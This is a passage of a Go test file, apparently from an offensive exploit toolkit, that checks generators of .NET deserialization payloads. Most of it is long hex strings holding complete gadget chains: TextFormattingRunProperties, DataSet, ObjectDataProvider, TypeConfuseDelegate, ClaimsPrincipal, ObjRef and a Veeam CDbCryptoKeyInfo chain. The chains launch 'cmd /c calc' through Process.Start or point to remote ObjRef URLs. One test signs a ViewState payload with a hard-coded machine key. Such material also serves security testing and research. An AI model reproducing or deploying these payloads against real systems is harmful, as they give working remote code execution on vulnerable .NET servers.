202020203c5f4275696c643e2d313c2f5f4275696c643e0a202020203c5f5265766973696f6e3e2d313c2f5f5265766973696f6e3e0a3c2f78323a56657273696f6e3e0a3c61313a446174615365742069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e446174612f53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c446174615365742e52656d6f74696e67466f726d6174207873693a747970653d2261313a53657269616c697a6174696f6e466f726d61742220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e446174612f53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e42696e6172793c2f446174615365742e52656d6f74696e67466f726d61743e3c446174615365742e446174615365744e616d652069643d227265662d3422207873693a747970653d227873643a737472696e67223e3c2f446174615365742e446174615365744e616d653e3c446174615365742e4e616d65737061636520687265663d22237265662d34223e3c2f446174615365742e4e616d6573706163653e3c446174615365742e50726566697820687265663d22237265662d34223e3c2f446174615365742e5072656669783e3c446174615365742e4361736553656e7369746976653e66616c73653c2f446174615365742e4361736553656e7369746976653e3c446174615365742e4c6f63616c654c4349443e313033333c2f446174615365742e4c6f63616c654c4349443e3c446174615365742e456e666f726365436f6e73747261696e74733e66616c73653c2f446174615365742e456e666f726365436f6e73747261696e74733e3c446174615365742e457874656e64656450726f70657274696573207873693a747970653d227873693a616e795479706522207873693a6e756c6c3d2231223e3c2f446174615365742e457874656e64656450726f706572746965733e3c446174615365742e5461626c65732e436f756e743e313c2f446174615365742e5461626c65732e436f756e743e3c446174615365742e5461626c65735f3020687265663d22237265662d35223e3c2f446174615365742e5461626c65735f303e3c2f61313a446174615365743e3c534f41502d454e433a41727261792069643d227265662d3522207873693a747970653d22534f41502d454e433a626173653634223e414145414141442f2f2f2f2f41514141414141414141414d416741414146354e61574e7962334e765a6e5175554739335a584a5461475673624335465a476c306233497349465a6c636e4e70623234394d7934774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a307a4d574a6d4d7a67314e6d466b4d7a59305a544d31425145414141424354576c6a636d397a62325a304c6c5a706333566862464e3064575270627935555a5868304c6b5a76636d316864485270626d63755647563464455a76636d316864485270626d645364573551636d39775a584a306157567a415141414141394762334a6c5a334a766457356b516e4a316332674241674141414159444141414138674d38556d567a623356795932564561574e306157397559584a35494868746247357a50534a6f644852774f69387663324e6f5a5731686379357461574e7962334e765a6e5175593239744c336470626d5a344c7a49774d4459766547467462433977636d567a5a5735305958527062323469494868746247357a4f6c6739496d6830644841364c79397a5932686c6257467a4c6d317059334a766332396d6443356a6232307664326c755a6e67764d6a41774e693934595731734969423462577875637a705450534a6a62484974626d46745a584e7759574e6c4f6c4e356333526c6254746863334e6c62574a736554317463324e76636d78705969496765473173626e4d3652443069593278794c5735686257567a6347466a5a54705465584e305a57307552476c685a3235766333527059334d3759584e7a5a57316962486b3963336c7a64475674496a343854324a715a574e30524746305956427962335a705a47567949466736533256355053496949453969616d566a6446523563475539496e74594f6c52356347556752447051636d396a5a584e7a66534967545756306147396b546d46745a54306955335268636e5169506a7850596d706c593352455958526855484a76646d6c6b5a584975545756306147396b554746795957316c64475679637a3438557a705464484a70626d632b5932316b504339544f6c4e30636d6c755a7a3438557a705464484a70626d632b4c324d6759324673597a7776557a705464484a70626d632b50433950596d706c593352455958526855484a76646d6c6b5a584975545756306147396b554746795957316c64475679637a34384c303969616d566a6445526864474651636d39326157526c636a34384c314a6c63323931636d4e6c52476c6a64476c76626d46796554344c3c2f534f41502d454e433a41727261793e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e\" {\n\t\tt.Fatalf(\"Invalid DataSet+SOAPFormatterWithExceptions output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestFormatSOAP(t *testing.T) {\n\tgot, ok := CreateTextFormattingRunProperties(\"cmd\", \"/c calc\", \"SOAPFormatter\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a54657874466f726d617474696e6752756e50726f706572746965732069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f4d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672f4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335223e3c466f726567726f756e6442727573682069643d227265662d3322207873693a747970653d227873643a737472696e67223e266c743b5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d222667743b266c743b4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274222667743b266c743b4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572732667743b266c743b533a537472696e672667743b636d64266c743b2f533a537472696e672667743b266c743b533a537472696e672667743b2f632063616c63266c743b2f533a537472696e672667743b266c743b2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572732667743b266c743b2f4f626a6563744461746150726f76696465722667743b266c743b2f5265736f7572636544696374696f6e6172792667743b3c2f466f726567726f756e6442727573683e3c2f61313a54657874466f726d617474696e6752756e50726f706572746965733e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e\" {\n\t\tt.Fatalf(\"Invalid TextFormattingRunProperties+SOAPFormatter output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateDataSet(t *testing.T) {\n\tgot, ok := CreateDataSet(\"cmd\", \"/c calc\", \"BinaryFormatter\")\n\tif !ok {\n\t\tt.Fatalf(\"CreateDataSet failed to generate payload\")\n\t}\n\n\twants := \"0001000000ffffffff01000000000000000c020000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000001353797374656d2e446174612e446174615365740a00000016446174615365742e52656d6f74696e67466f726d617413446174615365742e446174615365744e616d6511446174615365742e4e616d6573706163650e446174615365742e50726566697815446174615365742e4361736553656e73697469766512446174615365742e4c6f63616c654c4349441a446174615365742e456e666f726365436f6e73747261696e74731a446174615365742e457874656e64656450726f7065727469657314446174615365742e5461626c65732e436f756e7410446174615365742e5461626c65735f30040101010000000200071f53797374656d2e446174612e53657269616c697a6174696f6e466f726d61740200000001080108020200000005fdffffff1f53797374656d2e446174612e53657269616c697a6174696f6e466f726d6174010000000776616c75655f5f00080200000001000000060400000000090400000009040000000009040000000a0100000009050000000f05000000d0020000020001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b0b\"\n\n\tif hex.EncodeToString([]byte(got)) != wants {\n\t\tt.Fatalf(\"Invalid CreateDataSet output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateObjectDataProvider(t *testing.T) {\n\tgot, ok := CreateObjectDataProvider(\"cmd\", \"/c calc\", \"\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"7b222474797065223a2253797374656d2e57696e646f77732e446174612e4f626a6563744461746150726f76696465722c2050726573656e746174696f6e4672616d65776f726b2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335222c224d6574686f644e616d65223a225374617274222c224d6574686f64506172616d6574657273223a7b222474797065223a2253797374656d2e436f6c6c656374696f6e732e41727261794c6973742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839222c222476616c756573223a5b22636d64222c222f632063616c63225d7d2c224f626a656374496e7374616e6365223a7b222474797065223a2253797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839227d7d\" {\n\t\tt.Fatalf(\"Invalid CreateObjectDataProvider output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateTypeConfuseDelegate(t *testing.T) {\n\tgot, ok := CreateTypeConfuseDelegate(\"cmd\", \"/c calc\", \"\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"0001000000ffffffff01000000000000000c020000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390501000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e536f7274656453657460315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000005436f756e7408436f6d70617265720756657273696f6e054974656d7300030006088d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d080200000002000000090300000002000000090400000004030000008d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d010000000b5f636f6d70617269736f6e032253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c64657209050000001104000000020000000606000000072f632063616c63060700000003636d6404050000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572030000000844656c6567617465076d6574686f6430076d6574686f64310303033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465722f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657209080000000909000000090a00000004080000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e747279060b000000b00253797374656d2e46756e6360335b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d060c0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a060d0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839060e0000001a53797374656d2e446961676e6f73746963732e50726f63657373060f000000055374617274091000000004090000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d090f000000090d000000090e00000006140000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e672906150000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a010a00000009000000061600000007436f6d70617265090c00000006180000000d53797374656d2e537472696e6706190000002b496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729061a0000003253797374656d2e496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a011000000008000000061b0000007153797374656d2e436f6d70617269736f6e60315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d090c0000000a090c000000091800000009160000000a0b\" {\n\t\tt.Fatalf(\"Invalid CreateTypeConfuseDelegate output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateClaimsPrincipal(t *testing.T) {\n\tgot, ok := CreateClaimsPrincipal(\"cmd\", \"/c calc\", \"SOAPFormatter\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a436c61696d735072696e636970616c2069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e53656375726974792e436c61696d732f6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c6d5f73657269616c697a6564436c61696d734964656e7469746965732069643d227265662d3522207873693a747970653d227873643a737472696e67223e414145414141442f2f2f2f2f41514141414141414141414d4167414141456c5465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d446735425145414141434541564e356333526c62533544623278735a574e3061573975637935485a57356c636d6c6a4c6c4e76636e526c5a464e6c644741785731745465584e305a573075553352796157356e4c43427463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446c64585151414141414651323931626e514951323974634746795a584948566d567963326c766267564a6447567463774144414159496a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d4467355856304941674141414149414141414a41774141414149414141414a4241414141415144414141416a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563042414141414331396a6232317759584a706332397541794a5465584e305a573075524756735a576468644756545a584a7059577870656d463061573975534739735a475679435155414141415242414141414149414141414742674141414163765979426a5957786a42676341414141445932316b424155414141416955336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c63674d4141414149524756735a57646864475548625756306147396b4d4164745a58526f6232517841774d444d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e52796553395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c6369395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c63676b494141414143516b414141414a4367414141415149414141414d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e5279655163414141414564486c775a51686863334e6c62574a7365515a3059584a6e5a585153644746795a32563056486c775a55467a63325674596d7835446e5268636d646c644652356347564f5957316c436d316c644768765a4535686257554e5a4756735a57646864475646626e5279655145424167454241514d7755336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c636974455a57786c5a3246305a55567564484a354267734141414377416c4e356333526c625335476457356a59444e6257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a4c43425465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563047444141414145747463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446b4b426730414141424a55336c7a644756744c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f51594f41414141476c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a426738414141414655335268636e514a454141414141514a414141414c314e356333526c625335535a575a735a574e30615739754c6b316c62574a6c636b6c755a6d39545a584a7059577870656d463061573975534739735a475679427741414141524f5957316c4445467a63325674596d7835546d46745a516c446247467a633035686257554a55326c6e626d463064584a6c436c4e705a323568644856795a54494b54575674596d567956486c775a5242485a57356c636d6c6a51584a6e6457316c626e527a41514542415145414177674e55336c7a644756744c6c52356347566258516b5041414141435130414141414a446741414141595541414141506c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a49464e3059584a304b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d6370426855414141412b55336c7a644756744c6b52705957647562334e3061574e7a4c6c427962324e6c63334d6755335268636e516f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b49414141414367454b4141414143514141414159574141414142304e7662584268636d554a44414141414159594141414144564e356333526c6253355464484a70626d6347475141414143744a626e517a4d6942446232317759584a6c4b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d637042686f414141417955336c7a644756744c6b6c7564444d7949454e7662584268636d556f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b4941414141436745514141414143414141414159624141414163564e356333526c625335446232317759584a70633239755944466257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f563164435177414141414b435177414141414a4741414141416b57414141414367733d3c2f6d5f73657269616c697a6564436c61696d734964656e7469746965733e3c2f61313a436c61696d735072696e636970616c3e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e\" {\n\t\tt.Fatalf(\"Invalid CreateClaimsPrincipal+SOAPFormatter output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateCreateDataSetTypeSpoof(t *testing.T) {\n\tgot, ok := CreateDataSetTypeSpoof(\"cmd\", \"/c calc\", \"BinaryFormatter\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"0001000000ffffffff01000000000000000c02000000086d73636f726c69620c030000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000006353797374656d2e446174612e446174615365742c2053797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a00000016446174615365742e52656d6f74696e67466f726d617413446174615365742e446174615365744e616d6511446174615365742e4e616d6573706163650e446174615365742e50726566697815446174615365742e4361736553656e73697469766512446174615365742e4c6f63616c654c4349441a446174615365742e456e666f726365436f6e73747261696e74731a446174615365742e457874656e64656450726f7065727469657314446174615365742e5461626c65732e436f756e7410446174615365742e5461626c65735f30040101010000000200071f53797374656d2e446174612e53657269616c697a6174696f6e466f726d61740300000001080108020200000005fcffffff1f53797374656d2e446174612e53657269616c697a6174696f6e466f726d6174010000000776616c75655f5f00080300000001000000060500000000090500000009050000000009040000000a0100000009060000000f06000000d0020000020001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b0b\" {\n\t\tt.Fatalf(\"Invalid CreateDataSetTypeSpoof output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestPrimitiveByte(t *testing.T) {\n\tgot := PrimitiveByte(151).PrimToString()\n\tif got != \"\\x97\" {\n\t\tt.Fatalf(\"Invalid PrimitiveByte PrimToString output... output: %q\\n\", got)\n\t}\n}\n\nfunc TestCreateObjectRef(t *testing.T) {\n\tgot, ok := CreateObjectRef(\"http://192.168.51.15:8888/hcQaAT\", \"\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"0001000000ffffffff010000000000000004010000001053797374656d2e457863657074696f6e0100000009436c6173734e616d65031e53797374656d2e52756e74696d652e52656d6f74696e672e4f626a526566090200000004020000001e53797374656d2e52756e74696d652e52656d6f74696e672e4f626a526566010000000375726c01060300000020687474703a2f2f3139322e3136382e35312e31353a383838382f6863516141540b\" {\n\t\tt.Fatalf(\"Invalid CreateObjectRef output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateVeeamCryptoKeyInfo(t *testing.T) {\n\tgot, ok := CreateVeeamCryptoKeyInfo(\"http://192.168.51.15:8888/WPSIQB\", \"\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"0001000000ffffffff01000000000000000c0200000056566565616d2e4261636b75702e4d6f64656c2c2056657273696f6e3d31322e312e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62666436383464653232373637383361050100000023566565616d2e4261636b75702e4d6f64656c2e43446243727970746f4b6579496e666f09000000024964084b65795365744964074b6579547970650448696e74114465637279707465644b657956616c75650a4c6f63616c654c434944134d6f64696669636174696f6e446174655574630943727970746f416c670a526570616972526563730302000101000000060b53797374656d2e4775696408080d080200000004fdffffff0b53797374656d2e477569640b000000025f61025f62025f63025f64025f65025f66025f67025f68025f69025f6a025f6b00000000000000000000000807070202020202020202de1e26afefbf524f970f7ffe1c1c79270a010000000604000000056161616161060500000004414141410904000000000000000000000100000009060000001106000000010000000607000000e801414145414141442f2f2f2f2f415141414141414141414145415141414142425465584e305a5730755258686a5a584230615739754151414141416c446247467a6330356862575544486c4e356333526c62533553645735306157316c4c6c4a6c625739306157356e4c6b3969616c4a6c5a676b4341414141424149414141416555336c7a644756744c6c4a31626e527062575575556d567462335270626d637554324a71556d566d4151414141414e31636d774242674d41414141676148523063446f764c7a45354d6934784e6a67754e5445754d5455364f4467344f43395855464e4a5555494c0b\" {\n\t\tt.Fatalf(\"Invalid CreateVeeamCryptoKeyInfo output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestViewstateGeneration(t *testing.T) {\n\tpayload, ok := CreateTextFormattingRunProperties(\"cmd\", \"/c calc\", \"LOSFormatter\") // generate using our own dotnet generator\n\tif !ok {\n\t\tt.Fatal(\"Could not generate payload\")\n\t}\n\n\t// sign the payload with the hard-coded key\n\tStaticMachineKey := \"CB3721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25302BF\"\n\tGenerator := \"4fe2630a\"\n\tgot, ok := CreateViewstatePayload(payload, StaticMachineKey, Generator)\n\tif !ok {\n\t\tt.Fatal(\"Could not generate viewstate payload\")\n\t}\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"2f774579304155414151414141502f2f2f2f384241414141414141414141774341414141586b317059334a766332396d644335516233646c636c4e6f5a5778734c6b566b6158527663697767566d567963326c76626a307a4c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c655652766132567550544d78596d597a4f4455325957517a4e6a526c4d7a55464151414141454a4e61574e7962334e765a6e5175566d6c7a64574673553352315a476c764c6c526c65485175526d39796257463064476c755a7935555a586830526d39796257463064476c755a314a31626c42796233426c636e52705a584d424141414144305a76636d566e636d3931626d5243636e567a614145434141414142674d4141414479417a78535a584e7664584a6a5a5552705933527062323568636e6b6765473173626e4d39496d6830644841364c79397a5932686c6257467a4c6d317059334a766332396d6443356a6232307664326c755a6e67764d6a41774e693934595731734c3342795a584e6c626e526864476c766269496765473173626e4d36574430696148523063446f764c334e6a6147567459584d7562576c6a636d397a62325a304c6d4e76625339336157356d654338794d4441324c33686862577769494868746247357a4f6c4d39496d4e73636931755957316c633342685932553655336c7a644756744f32467a63325674596d78355057317a5932397962476c694969423462577875637a704550534a6a62484974626d46745a584e7759574e6c4f6c4e356333526c625335456157466e626d397a64476c6a637a746863334e6c62574a736554317a65584e305a573069506a7850596d706c593352455958526855484a76646d6c6b5a5849675744704c5a586b394969496754324a715a574e3056486c775a5430696531673656486c775a5342454f6c427962324e6c63334e394969424e5a58526f6232524f5957316c50534a5464474679